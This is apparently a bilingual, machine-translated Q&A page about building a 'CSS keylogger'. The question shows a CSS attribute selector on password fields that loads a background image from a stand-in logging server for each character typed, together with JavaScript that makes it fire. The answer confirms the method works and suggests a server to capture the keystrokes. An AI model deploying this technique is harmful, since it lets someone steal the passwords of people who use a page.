简体   繁体   English

你如何使用 CSS 制作键盘记录器?

[英]How do you make a Keylogger with CSS?

 input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); } const inp = document.querySelector("input"); inp.addEventListener("keyup", (e) => { inp.setAttribute('value', inp.value) });

Is what I've found but I don't think it works.是我发现的,但我认为它不起作用。 How do I do it?我该怎么做?

Edit: I realised that the CSS snippet won't work as typing in the input field will not change the value attribute of the html element.编辑:我意识到 CSS 代码段不起作用,因为在输入字段中键入不会更改 html 元素的值属性。 A JavaScript function is required to do this.为此,需要一个 JavaScript function。 Hence, include the last 3 lines of your snippet in a script tag and then it should work.因此,将代码段的最后 3 行包含在脚本标记中,然后它应该可以工作。

The CSS Keylogger was originally a thought experiment as explained in this LiveOverflow video . CSS 键盘记录器最初是一个思想实验,如LiveOverflow 视频中所述。 The snippet you are using is assuming that http://localhost:3000/ is a malicious Web server which records your HTTP requests.您使用的代码片段假设http://localhost:3000/是一个恶意的 Web 服务器,它记录了您的 HTTP 请求。

In this case entering "a" on the keyboard (in the input field) would send a request to http://localhost:3000/a (for fetching the background image) which you may intercept as "a" on the Web server.在这种情况下,在键盘上(在输入字段中)输入“a”会向http://localhost:3000/a发送一个请求(用于获取背景图像),您可以在 Web 服务器上将其拦截为“a”。 You may write a NodeJS or Python Web server to intercept these requests and get the keystrokes.您可以编写一个 NodeJS 或 Python Web 服务器来拦截这些请求并获取击键。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM